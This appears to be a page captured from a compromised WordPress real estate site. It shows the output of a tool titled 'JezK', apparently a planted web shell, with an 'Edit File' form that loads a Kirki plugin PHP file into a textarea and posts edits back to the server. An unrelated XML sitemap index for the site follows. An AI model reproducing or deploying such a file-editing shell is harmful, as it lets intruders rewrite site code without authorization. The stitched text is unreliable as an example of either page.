
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: PageContentResource.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Kirki\App\Resources;

defined(&#039;ABSPATH&#039;) || exit;

use Kirki\App\Constants\PageMetaKeys;
use Kirki\App\Models\Page as PageModel;
use Kirki\App\Supports\Facades\Page;
use Kirki\App\Supports\PageUrl;
use Kirki\App\Utils\PostUtil;
use Kirki\Framework\Database\Query\QueryBuilder;
use Kirki\Framework\Resource;

class PageContentResource extends Resource
{
    /** @var string */
    protected $stage_block_key;

    /** @var int|false */
    protected $stage_version = false;

    /**
     * PageContentResource constructor.
     * 
     * @param PageModel $page
     * @param int|false $stage_version
     */
    public function __construct(PageModel $page, $stage_version = false)
    {
        $page_id = $page-&gt;ID;

        if (!$stage_version) {
            $stage_version = Page::get_most_recent_stage_version($page_id, false);
        }

        $this-&gt;stage_version = $stage_version;

        $this-&gt;stage_block_key = Page::get_staged_meta_name(PageMetaKeys::BLOCKS, $page_id, $stage_version);

        $page-&gt;load_missing([
            &#039;meta&#039; =&gt; function (QueryBuilder $query) use ($page_id) {
                $query-&gt;where_in(&#039;meta_key&#039;, [
                    PageMetaKeys::BLOCKS,
                    $this-&gt;stage_block_key
                ]);
            }
        ]);

        parent::__construct($page);
    }
    /**
     * Convert the collection resource to an array.
     *
     * @return array The collection data as an associative array.
     */
    public function to_array()
    {
        $page_url = PageUrl::create($this-&gt;resource);
        
        $meta = isset($this-&gt;meta) ? $this-&gt;meta-&gt;pluck(&#039;meta_value&#039;, &#039;meta_key&#039;)-&gt;to_array() : [];

        $content = get_the_content(null, false, PostUtil::get_wp_post($this-&gt;resource));

        $blocks = !empty($meta[PageMetaKeys::BLOCKS]) ? $meta[PageMetaKeys::BLOCKS] : [];

        if ($this-&gt;stage_version) {
            $blocks = !empty($meta[$this-&gt;stage_block_key]) ? $meta[$this-&gt;stage_block_key] : [];
        }

        return [
            &#039;blocks&#039; =&gt; !empty($blocks[&#039;blocks&#039;]) ? $blocks[&#039;blocks&#039;] : null,
            &#039;content_length&#039; =&gt; strlen($content),
            &#039;is_kirki_editor_mode&#039; =&gt; Page::is_kirki_editor_mode($this-&gt;ID),
            &#039;preview_url&#039; =&gt; $page_url-&gt;get_preview_url(),
            &#039;styles&#039; =&gt; Page::get_page_styleblocks($this-&gt;ID, $this-&gt;stage_version),
            &#039;version_info&#039; =&gt; Page::get_staged_version_info($this-&gt;ID, $this-&gt;stage_version),
        ];
    }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.mijikendarealestate.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-property-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-agent-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-posts-ube_content-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-type-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-status-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-feature-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-label-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-state-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-city-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-property-neighborhood-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-taxonomies-agency-1.xml</loc></sitemap><sitemap><loc>https://www.mijikendarealestate.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
